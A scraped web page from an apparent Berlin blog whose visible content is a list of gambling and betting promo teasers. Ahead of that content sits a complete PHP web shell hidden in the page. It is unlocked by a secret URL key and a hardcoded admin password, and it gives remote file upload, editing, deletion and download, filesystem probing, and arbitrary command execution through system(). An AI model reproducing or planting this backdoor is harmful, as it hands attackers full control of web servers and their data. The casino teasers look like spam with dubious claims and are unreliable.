if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } 1 – Page 5 – collectives.berlin

Your digital paradise.

Category: 1

  • Comparative Analysis of Glory Casino Online Options Explored

    Why Compare Glory Casino Online Options? In the dynamic landscape of online gaming, players often find themselves confronted with a cornucopia of choices. For those considering Glory Casino online, understanding the variety of gaming options available is essential. Players are not only interested in the sheer number of games but also the quality and unique…

    Click or not…

  • The Importance of Digital Detox in Today's Hyper-Connected World

    In our fast-paced, technology-driven world, being constantly connected has become the norm. Smartphones, social media, emails, and instant messaging have made communication instantaneous and ubiquitous. While these advancements offer convenience, they also blur the line between work and personal life, often leading to mental exhaustion. This is where the concept of "digital detox" comes in.…

    Click or not…

  • Caso de éxito Cómo Roobet Casino utilizó Bitcoin para revolucionar el juego online

    Contexto y situación inicial de Roobet Casino Roobet Casino fue fundado en 2019 con un enfoque claro en las criptomonedas. Esta decisión no fue casual, ya que la industria del juego estaba experimentando un crecimiento significativo en el uso de Bitcoin y otras criptomonedas. Muchos casinos online tradicionales enfrentaban desafíos considerables, como la competencia feroz…

    Click or not…

  • Step-by-Step Guide to Master Plinko Casino Games

    Why Play Plinko Casino Games? Plinko casino games have garnered attention for their dynamic blend of chance and thrill. Players enjoy the unpredictability that comes with dropping chips on a pegs-laden board, watching the chips bounce and zigzag until they land in a slot that determines their prize. This appeal to randomness encapsulates the excitement…

    Click or not…

  • Insights on the 4rabet Official Website A Dynamic Update

    Key Features of the 4rabet Official Website The 4rabet official website impresses users with its intuitive design, promoting easy navigation for both new and seasoned players. This user-friendly interface is complemented by a comprehensive range of sports and eSports betting options, ensuring that users have plenty of wagering choices. New users are particularly attracted by…

    Click or not…

  • Case Study The Rise of BateryBet India in Online Betting

    Context and Initial Situation In 2023, the Indian online betting market was a rapidly evolving landscape, characterized by a burgeoning interest from users and increasing competition among platforms. BateryBet India entered this arena amid a flurry of activity, facing numerous challenges as a newcomer. Regulatory hurdles, for instance, loomed large, as the legal landscape for…

    Click or not…

  • Top 5 Strategies for Battery Betting in India A Quick Guide

    Understanding Battery Betting Battery betting, a niche yet emerging trend in India, involves placing wagers on the performance and longevity of various battery types, from electric vehicles to consumer electronics. As the demand for batteries grows, particularly with the rise of electric vehicles, this betting form has gained traction, attracting both casual and serious bettors.…

    Click or not…

  • Comparativa de Casinos Online en Chile ¿Cuál es el Mejor

    ¿Por qué es importante comparar casinos online en Chile? Comparar casinos online en Chile es fundamental para los jugadores que buscan la mejor experiencia de juego posible. La variedad de plataformas, como Casino Betsson, Casino Enjoy y Casino888, ofrece distintas características y beneficios. Al analizar cada opción, puedes identificar la mejor según tus necesidades de…

    Click or not…

  • Top 5 Insights for a Smooth Battery Bet Login in India

    1. Understanding the Battery Bet Platform Battery Bet has carved a niche as one of the leading online betting sites in India. The platform offers diverse betting options, including popular sports and various exciting casino games. Understanding how Battery Bet operates can significantly enhance your login experience. Knowing where to find features and how to…

    Click or not…

  • Praktisch overzicht van handicapweddenschappen: typische gebruikersfouten en manieren om ze te vermijden

    Handicapweddenschappen zijn een populaire vorm van weddenschappen in de wereld van sportweddenschappen. Ze bieden spelers de mogelijkheid om te wedden op wedstrijden waarbij een van de teams een virtuele voorsprong of achterstand krijgt. Hoewel handicapweddenschappen veel voordelen kunnen bieden, zijn er ook enkele typische gebruikersfouten die spelers kunnen maken. In deze uitgebreide gids zullen we…

    Click or not…